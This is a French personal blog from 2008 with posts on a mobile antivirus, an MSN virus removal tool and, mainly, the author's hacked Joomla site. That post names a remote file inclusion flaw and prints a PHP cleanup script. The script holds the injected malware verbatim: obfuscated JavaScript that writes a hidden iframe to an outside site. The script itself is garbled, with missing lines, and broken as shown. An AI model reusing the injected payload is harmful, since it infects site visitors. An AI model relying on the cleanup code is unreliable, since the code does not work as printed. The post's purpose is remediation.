27 juin 2008 par Yohann CIURLIK
ESET Mobile Antivirus est, comme son nom l’indique, un antivirus pour Windows Mobile. Le produit est encore en version bêta mais est déjà pleinement fonctionnel.

Basé sur le moteur NOD32, antivirus réputé, il est capable de scanner les fichiers en live et ou de manière heuristique.Il fonctionne aussi bien sous Windows Mobile 5 et 6. A première vue, pas de ralentissement de la machine ou tout du moins rien de bien perceptible.
Même 01net en parle !
2 juin 2008 par Yohann CIURLIK
Durant une partie de la journée, mon blog est devenu inaccessible. La raison étant qu’un vilain petit hacker s’est amusé à pourrir mon site. En réalité, ce n’est pas une personne mais un script qui parcours le net à la recherche de potentielles failles de sécurité sur les sites.

Mais que s’est-il passé ?
Même si mon blog fonctionne sous Wordpress pour des raisons de conforts, la racine de mon site est basé sur le CMS Joomla. Je n’utilise plus ou très peu ce dernier et cela faisait longtemps que je n’avais pas mis à jour sa version (passage de 1.0.12 à 1.0.15). J’ai donc découvert une faille d’inclusion de fichiers distant dans la variable mosConfig_absolute_path. Un exploit bien simple mais très ennuyeux car le hacker peut exécuter n’importe quel code PHP sur votre site.
Résultats
Le hacker en à profiter pour modifier tous mes fichiers PHP (1822 au total) pour y inclure un script qui s’exécute sur la machine cliente. Ne craignez rien, j’ai supprimé le code qui était bloqué par votre antivirus dans tous les cas.
J’ai donc utilisé un script maison pour remédier au problème et supprimer le code malicieux de mes fichiers sources. Le code source est le suivant (à utiliser à vos risques et périls sur votre serveur) :
-
<?php
-
//passer à true pour afficher les détails des fichiers
-
$show_details = false;
-
//passer à TRUE pour effectuer le nettoyage
-
$process = true;
-
-
//ecrit dans le fichier n les données d
-
function file_put_cont($n, $d) {
-
-
if ($f === false) {
-
echo "Impossible d’ouvrir le fichier ".
$n;
-
} else {
-
-
$bytes_written =
fwrite($f,
$d);
-
-
return $bytes_written;
-
}
-
}
-
-
//scan les répertoires récursivement
-
//retourne un tableau contenant les fichiers php
-
function searchdir ( $path = "." , $maxdepth = -1 , $mode = "FILES" , $d = 0 ){
-
if ( substr ( $path ,
strlen ( $path ) -
1 ) !=
‘/’ ) { $path .=
‘/’ ;
}
-
-
if ( $mode != "FILES" ) { $dirlist[] = $path ; }
-
if ( $handle =
opendir ( $path ) ){
-
while ( false !==
( $file =
readdir ( $handle ) ) ){
-
if ( $file != ‘.’ && $file != ‘..’ ){
-
$file = $path . $file ;
-
-
if ( $mode != "DIRS" ) {
-
-
if($file_part[‘extension’] == "php" || $file_part[‘extension’] == "PHP") {
-
$dirlist[] = $file ;
-
}
-
}
-
}
-
elseif ( $d >=0 && ($d < $maxdepth || $maxdepth < 0) ){
-
$result = searchdir ( $file . ‘/’ , $maxdepth , $mode , $d + 1 ) ;
-
-
}
-
}
-
}
-
-
}
-
-
return ( $dirlist ) ;
-
}
-
-
//scan le tableau de fichier a la recherche de la chaine $token
-
//retourne un tableau composé des fichiers qui contenait la chaine $token
-
function searchstring($file_array , $token, $process) {
-
-
for($i=0;$i<count($file_array);$i++){
-
$cur_file = $file_array[$i];
-
-
if(stripos($cur_content_file,$token)!==false) {
-
//ajout des fichiers au tableau
-
$dirlist[] = $cur_file;
-
//suppression de la chaine
-
$new_content =
str_replace($token,
"",
$cur_content_file);
-
if($process == true){
-
$var = file_put_cont($cur_file, $new_content);
-
if($var != false) {
-
if($show_details) {
-
echo $var.
" octets ecrits dans ".
$cur_file;
-
}
-
}
-
} else {
-
echo ‘File : ‘.
$cur_file.
‘<br/>’;
-
}
-
}
-
}
-
return ( $dirlist ) ;
-
}
-
echo ‘<h2>Nettoyage des fichiers PHP</h2>’;
-
//scan les repertoires et recherche les fichiers php
-
$arbo = searchdir(".");
-
echo "Fichiers de l’arborescence : <br/>";
-
if($show_details==true) {
-
for($i=0;$i<count($arbo);$i++){
-
echo ‘File : ‘.
$arbo[$i].
‘<br/>’;
-
}
-
} else {
-
-
}
-
-
$token = ‘<?php echo \’<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\”ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\”ykfvj?3\”jgkijv?3\”htcogdqtfgt?2@"));</script>\’;?>’;
-
echo "Chaine à rechercher : ".
$token.
"<br/><br/>";
-
-
//scan les fichiers trouvés afin de trouver la chaine incréminée
-
echo "Fichiers infectés : <br/>";
-
$arbo = searchstring($arbo, $token, $process);
-
-
echo count($arbo).
" fichiers modifiés !<br/>";
-
-
if($process == true)
-
echo "Opération terminée !<br/>";
-
else echo "Mettre process à TRUE pour effectuer l’opération !<br/>";
-
?>
Le fichier liste les fichiers php de votre serveur, vérifie et supprime la chaine $token contenue des fichiers sources.
Conclusion
Mettez toujours à jour vos applications et effectuez des sauvegardes régulières, c’est vital !
8 avril 2008 par Yohann CIURLIK
L’outil Clean Virus MSN détecte et supprime les différents virus qui se propagent via MSN Messenger. Je ne sais pas pour vous mais moi il m’arrive souvent de recevoir des messages d’amis ayant pour sujet des photos. Ces derniers sont visible depuis le net sous forme d’un .com. Avez-vous réellement déjà vu des photos dans un fichier exécutable ou de commande ? C’est l’un des virus les plus populaire du moment (et le plus ennuyeux!).

Cet outil est indispensable car ce type de trojan (virus) n’est quasiment pas detecté par votre antivirus. Dans le doute, faite un scan complet de votre ordinateur. En tout cas, le seul moyen d’éviter d’avoir des virus sur votre ordinateur est de faire très attention à vos faits et gestes.
Téléchargez directement Clean Virus Msn v5.1.